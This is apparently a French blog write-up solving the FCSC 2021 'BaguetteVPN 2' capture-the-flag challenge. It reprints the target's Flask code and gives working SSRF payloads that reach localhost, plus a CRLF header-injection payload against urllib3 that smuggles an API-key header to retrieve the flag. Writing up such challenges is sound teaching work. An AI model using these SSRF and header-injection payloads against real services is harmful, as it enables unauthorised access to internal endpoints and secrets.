2

FCSC 2021 : BaguetteVPN 2

3 min read

Visits: 990

4.6
(14)

On va voir dans cet article, le challenge BaguetteVPN n°2 du FCSC 2021 (France Cybersecurity Challenge).


Voici la description du challenge :


Ce dernier étant la suite du premier challenge nous trouvons donc des informations dans le code source :

fcsc 2021

On retrouve donc le script utilisé pour ce challenge dans http://challenges2.france-cybersecurity-challenge.fr:5002/api/debug :

# /usr/bin/env python3
# -*- coding:utf-8 -*-
# -*- requirements:requirements.txt -*-

# Congrats! Here is the flag for Baguette VPN 1/2
#   FCSC{e5e3234f8dae908461c6ee777ee329a2c5ab3b1a8b277ff2ae288743bbc6d880}

import os
import urllib3
import sys
from flask import Flask, request, jsonify, Response
app = Flask(__name__)


@app.route('/')
def index():
    with open('index.html', 'r') as myfile:
        return myfile.read()


@app.route('/api')
def api():
    return Response('OK', status=200)


@app.route("/api/image")
def image():
    filename = request.args.get("fn")
    if filename:
        http = urllib3.PoolManager()
        return http.request('GET', 'http://baguette-vpn-cdn' + filename).data
    else:
        return Response('Paramètre manquant', status=400)


@app.route("/api/secret")
def admin():
    if request.remote_addr == '127.0.0.1':
        if request.headers.get('X-API-KEY') == 'b99cc420eb25205168e83190bae48a12':
            return jsonify({"secret": os.getenv('FLAG')})
        return Response('Interdit: mauvaise clé d\'API', status=403)
    return Response('Interdit: mauvaise adresse IP', status=403)


@app.route("/api/debug")
def debug():
    data = {}
    for k, v in globals().copy().items():
        if not isinstance(v, str):
            data[k] = str(dir(v))
        else:
            data[k] = v
    data['__version__'] = sys.version
    return jsonify(data)


@app.route('/<path:path>')
def load_page(path):
    if '..' in path:
        return Response('Interdit', status=403)
    try:
        with open(path, 'r') as myfile:
            mime = 'text/' + path.split('.')[-1]
            return Response(myfile.read(), mimetype=mime)
    except Exception as e:
        return Response(str(e), status=404)


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=os.getenv('FLASK_LOCAL_PORT'))

Les deux parties qui nous intéressent sont :

@app.route("/api/image")
def image():
    filename = request.args.get("fn")
    if filename:
        http = urllib3.PoolManager()
        return http.request('GET', 'http://baguette-vpn-cdn' + filename).data
    else:
        return Response('Paramètre manquant', status=400)


@app.route("/api/secret")
def admin():
    if request.remote_addr == '127.0.0.1':
        if request.headers.get('X-API-KEY') == 'b99cc420eb25205168e83190bae48a12':
            return jsonify({"secret": os.getenv('FLAG')})
        return Response('Interdit: mauvaise clé d\'API', status=403)
    return Response('Interdit: mauvaise adresse IP', status=403)

Afin de récupérer le flag sur /api/secret il faut venir en provenance de 127.0.0.1 et envoyer un header avec l’API KEY.


C’est là que nous allons utiliser l’api image qui fait une requête GET sur http://baguette-vpn-cdn et le paramètre fn que nous lui fournissons, pour venir en provenance de 127.0.0.1 nous pouvons par exemple enregistrer un sous-domaine qui commence par baguette-vpn-cdn et qui pointe sur 127.0.0.1 :


Et donc en utilisant comme paramètre .bookctf.eu ceci nous redirige vers le 127.0.0.1 :

http://baguette-vpn-cdn.bookctf.eu

Avec un peu de flair et l’indice qui nous dit que le port est inférieur à 2000 on peut donc supposer que c’est le fameux 1337 ou bien avec une petite boucle testant chaque port de 1 à 2000.


Il est également possible d’utiliser une méthode plus facile avec des payloads comme :

whatever.localhost:1337/api/secret
@localhost:1337/api/secret
@127.0.0.1/api/secret
.localtest.me:1337/api/secret

On a donc passé la première condition et pour la dernière il s’agit d’exploiter la faille CRLF et on trouve une bonne piste grâce au fichier requirements.txt qui nous donne la version du module urllib3 (1.24.2) et à ce lien exploitant une CRLF dans le module urllib3 qui est utilisé par notre script.


Nous pouvons donc injecter notre header permettant de récupérer le flag grâce à ce payload :

%20HTTP/1.1%0D%0AX-API-KEY:%20b99cc420eb25205168e83190bae48a12%0D%0AIgnore:

Et on récupère donc ce fameux flag !

http://challenges2.france-cybersecurity-challenge.fr:5002/api/image?fn=.bookctf.eu:1337/api/secret%20HTTP/1.1%0D%0AX-API-KEY:%20b99cc420eb25205168e83190bae48a12%0D%0AIgnore:

Quelle note mérite cet article ?

Average rating 4.6 / 5. Vote count: 14

No votes so far! Be the first to rate this post.

S’abonner
Notification pour
guest
2 Commentaires
Le plus ancien
Le plus récent Le plus populaire
Commentaires en ligne
Afficher tous les commentaires
Edra
Invité
Edra
2 années il y a

parfait !

unguest
Invité
unguest
2 années il y a

Merci beaucoup !